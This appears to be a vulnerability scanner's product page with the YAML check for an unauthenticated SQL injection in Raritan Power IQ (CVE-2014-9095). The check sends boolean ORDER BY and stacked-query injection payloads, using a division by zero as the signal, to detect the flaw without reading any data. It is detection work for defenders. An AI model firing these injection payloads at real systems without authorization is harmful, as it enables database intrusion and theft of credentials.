Raritan Power IQ — 1 vulnerability check

noctis ships 1 vulnerability check for Raritan Power IQ, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Raritan Power IQ /license/records sort parameter SQL injection

CVECVE-2014-9095
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/raritan-poweriq/CVE-2014-9095.yaml

Raritan Power IQ 4.1.0 and 4.2.1 let unauthenticated users inject SQL through the sort and dir parameters of POST /license/records, the licensing grid used during initial setup that stays reachable afterwards. The values are copied into the ORDER BY clause of a PostgreSQL query and stacked statements are accepted, so a remote attacker can read or change the database, including the administrator's password hash.

This check first requests the license grid normally and requires the JSON grid reply. It then sends two sort values that differ only in a condition built from two random numbers: when the condition is false the database divides by zero and the request fails with HTTP 500; when it is true the grid is served. It tries this inside the ORDER BY clause, then as a stacked SELECT (which works even when the license table is empty). The finding is reported only when the false condition fails and the true condition succeeds. Nothing is read from or written to the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /license/records with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /license/records with a crafted body
  5. HTTP(S) request POST /license/records with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks ob.found for ^ORDER BY$ → finding QoD 97: Boolean SQLi in sort of POST /license/records (ORDER BY): sort=id,(SELECT (CASE WHEN (…=…) THEN 1 ELSE 1/(SELECT 0) END)) → HTTP … (divisio…
  8. HTTP(S) request POST /license/records with a crafted body
  9. HTTP(S) request POST /license/records with a crafted body
  10. Parses / computes the next value with a Rhai script
  11. Checks sk.found for ^STACKED$ → finding QoD 97: Boolean SQLi in sort of POST /license/records (stacked query): sort=id;SELECT 1 FROM (SELECT (CASE WHEN (…=…) THEN 1 ELSE 1/(SELECT 0) END)…

References:

Feed source — tests/vulnerabilities/raritan-poweriq/CVE-2014-9095.yaml
# Raritan Power IQ — unauthenticated SQL injection in /license/records (CVE-2014-9095)
#
# The licensing grid endpoint POST /license/records (still reachable after the
# appliance is configured, no login) puts its `sort` and `dir` parameters into
# the ORDER BY clause of a PostgreSQL query without validation. Both
# parameters accept stacked statements too (PostgreSQL simple-query protocol).
#
# Detection — in-band boolean proof, nothing read or written:
#   1. baseline  sort=id&dir=ASC                       → 200 + JSON grid ("rows":)
#   2. ORDER BY boolean (needs at least one license row):
#        sort=id,(SELECT (CASE WHEN (a=b) THEN 1 ELSE 1/(SELECT 0) END))  → 500
#        sort=id,(SELECT (CASE WHEN (a=a) THEN 1 ELSE 1/(SELECT 0) END))  → 200
#      a, b random; each true reply must carry the JSON grid. Only a server that evaluates our own condition as SQL
#      fails the false one (division by zero) and serves the true one.
#   3. stacked boolean (row-independent, for an empty license table where
#      the ORDER BY key is never evaluated):
#        sort=id;SELECT 1 FROM (SELECT (CASE WHEN (a=b) THEN 1 ELSE 1/(SELECT 0)
#          END) AS c) x WHERE x.c=2--   → 500; with (a=a) → 200
#      The stacked SELECT returns no row (like the exploit module's stacked
#      UPDATE, which the product answers with 200), so the app never sees a
#      foreign column set. A WHERE on the license table would not do: on an
#      empty table it is never evaluated either.
# Checked on PostgreSQL 16 behind a reconstructed sink that runs
# "SELECT * FROM licenses ORDER BY <sort> <dir> LIMIT 25 OFFSET 0" through the
# Ruby pg gem: with rows, shape 2 gives 500/200; on an empty table shape 2
# gives 200/200 and shape 3 gives 500/200.
#
# Differences from the reference check, which gates on the grid reply and a
# quote → 500, then times (SELECT 5480 FROM PG_SLEEP(1|3)) in the sort key:
#   - PostgreSQL never evaluates an ORDER BY key when the table is empty, so
#     the reference timing misses a Power IQ with no license row; the stacked
#     shape covers it;
#   - a boolean differential on random values replaces the quote → 500 gate
#     (any strict app errors on a quote) and the timing (jitter, WAF tarpit);
#   - same payload shapes as the public exploit module (boolean-based blind,
#     ORDER BY and stacked).
#
# Source: OpenVAS/Greenbone NASL 2014/gb_raritan_poweriq_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105922, GPL-2.0-only); exploit-db 34130.
uid: 07acdf96-1094-4c0b-96e9-e95dcaa2720d
name: "Raritan Power IQ /license/records sort parameter SQL injection (CVE-2014-9095)"
description: |
  Raritan Power IQ 4.1.0 and 4.2.1 let unauthenticated users inject SQL
  through the sort and dir parameters of POST /license/records, the licensing
  grid used during initial setup that stays reachable afterwards. The values
  are copied into the ORDER BY clause of a PostgreSQL query and stacked
  statements are accepted, so a remote attacker can read or change the
  database, including the administrator's password hash.

  This check first requests the license grid normally and requires the JSON
  grid reply. It then sends two sort values that differ only in a condition
  built from two random numbers: when the condition is false the database
  divides by zero and the request fails with HTTP 500; when it is true the
  grid is served. It tries this inside the ORDER BY clause, then as a stacked
  SELECT (which works even when the license table is empty). The finding is
  reported only when the false condition fails and the true condition
  succeeds. Nothing is read from or written to the database.
cves: [CVE-2014-9095]
cvss: 7.5
severity: high
confidence_base: 0.35
category: sqli
tags: [raritan, power-iq, sqli, boolean-based, postgresql, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-9095"
  - "https://seclists.org/fulldisclosure/2014/Jul/79"
  - "https://www.exploit-db.com/exploits/34130"

steps:
  # ── Random condition values ─────────────────────────────────────────────────
  - id: gen
    action: script
    code: |
      let a = rand_int(1000, 8999);
      #{ a: a, b: a + rand_int(1, 999) }
    store_as: rv

  # Pre-initialise every stored result a script reads: a failed request
  # leaves store_as unset and an undefined var would abort the whole test.
  - id: init-base
    action: set_var
    var_name: base
    var_value: {status: 0, body: null}
  - id: init-of
    action: set_var
    var_name: of
    var_value: {status: 0, body: null}
  - id: init-ot
    action: set_var
    var_name: ot
    var_value: {status: 0, body: null}
  - id: init-sf
    action: set_var
    var_name: sf
    var_value: {status: 0, body: null}
  - id: init-st
    action: set_var
    var_name: st
    var_value: {status: 0, body: null}

  # ── Gate: the license grid answers with its JSON rows ───────────────────────
  - id: baseline
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/license/records"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      X-Requested-With: "XMLHttpRequest"
    body: "sort=id&dir=ASC"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: base

  - id: check-base
    action: script
    code: |
      let ok = base.status == 200 && type_of(base.body) == "string" && base.body.contains("\"rows\":");
      #{ ok: ok }
    store_as: g

  # ── ORDER BY boolean: false condition first, then true ──────────────────────
  - id: order-false
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/license/records"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      X-Requested-With: "XMLHttpRequest"
    body: "sort=id%2C(SELECT+(CASE+WHEN+({{rv.a}}%3D{{rv.b}})+THEN+1+ELSE+1%2F(SELECT+0)+END))&dir=ASC"
    condition: "g.ok"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: of

  - id: order-true
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/license/records"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      X-Requested-With: "XMLHttpRequest"
    body: "sort=id%2C(SELECT+(CASE+WHEN+({{rv.a}}%3D{{rv.a}})+THEN+1+ELSE+1%2F(SELECT+0)+END))&dir=ASC"
    condition: "g.ok && of.status == 500"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ot

  - id: check-order
    action: script
    code: |
      let hit = g.ok && of.status == 500 && ot.status == 200 && type_of(ot.body) == "string" && ot.body.contains("\"rows\":");
      #{ hit: hit, found: if hit { "ORDER BY" } else { "" } }
    store_as: ob

  - id: report-order
    action: match
    source: ob.found
    pattern: "^ORDER BY$"
    condition: "ob.hit"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 97
        evidence: "Boolean SQLi in sort of POST /license/records (ORDER BY): sort=id,(SELECT (CASE WHEN ({{rv.a}}={{rv.b}}) THEN 1 ELSE 1/(SELECT 0) END)) → HTTP {{of.status}} (division by zero), same with ({{rv.a}}={{rv.a}}) → HTTP {{ot.status}}; baseline sort=id → HTTP {{base.status}} with the JSON grid"
        remediation: "Upgrade Raritan Power IQ to a release that validates the sort and dir parameters of /license/records, and restrict access to the Power IQ web interface to management networks."
      stop: true

  # ── Stacked boolean (row-independent) ───────────────────────────────────────
  - id: stacked-false
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/license/records"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      X-Requested-With: "XMLHttpRequest"
    body: "sort=id%3BSELECT+1+FROM+(SELECT+(CASE+WHEN+({{rv.a}}%3D{{rv.b}})+THEN+1+ELSE+1%2F(SELECT+0)+END)+AS+c)+x+WHERE+x.c%3D2--&dir=ASC"
    condition: "g.ok && !ob.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: sf

  - id: stacked-true
    action: http_request
    method: POST
    port: "{{port}}"
    path: "/license/records"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      X-Requested-With: "XMLHttpRequest"
    body: "sort=id%3BSELECT+1+FROM+(SELECT+(CASE+WHEN+({{rv.a}}%3D{{rv.a}})+THEN+1+ELSE+1%2F(SELECT+0)+END)+AS+c)+x+WHERE+x.c%3D2--&dir=ASC"
    condition: "g.ok && !ob.hit && sf.status == 500"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: st

  - id: check-stacked
    action: script
    code: |
      let hit = g.ok && !ob.hit && sf.status == 500 && st.status == 200 && type_of(st.body) == "string" && st.body.contains("\"rows\":");
      #{ hit: hit, found: if hit { "STACKED" } else { "" } }
    store_as: sk

  - id: report-stacked
    action: match
    source: sk.found
    pattern: "^STACKED$"
    condition: "sk.hit"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 97
        evidence: "Boolean SQLi in sort of POST /license/records (stacked query): sort=id;SELECT 1 FROM (SELECT (CASE WHEN ({{rv.a}}={{rv.b}}) THEN 1 ELSE 1/(SELECT 0) END) AS c) x WHERE x.c=2-- → HTTP {{sf.status}} (division by zero), same with ({{rv.a}}={{rv.a}}) → HTTP {{st.status}}; baseline sort=id → HTTP {{base.status}} with the JSON grid"
        remediation: "Upgrade Raritan Power IQ to a release that validates the sort and dir parameters of /license/records, and restrict access to the Power IQ web interface to management networks."
      stop: true

View these feeds on GitHub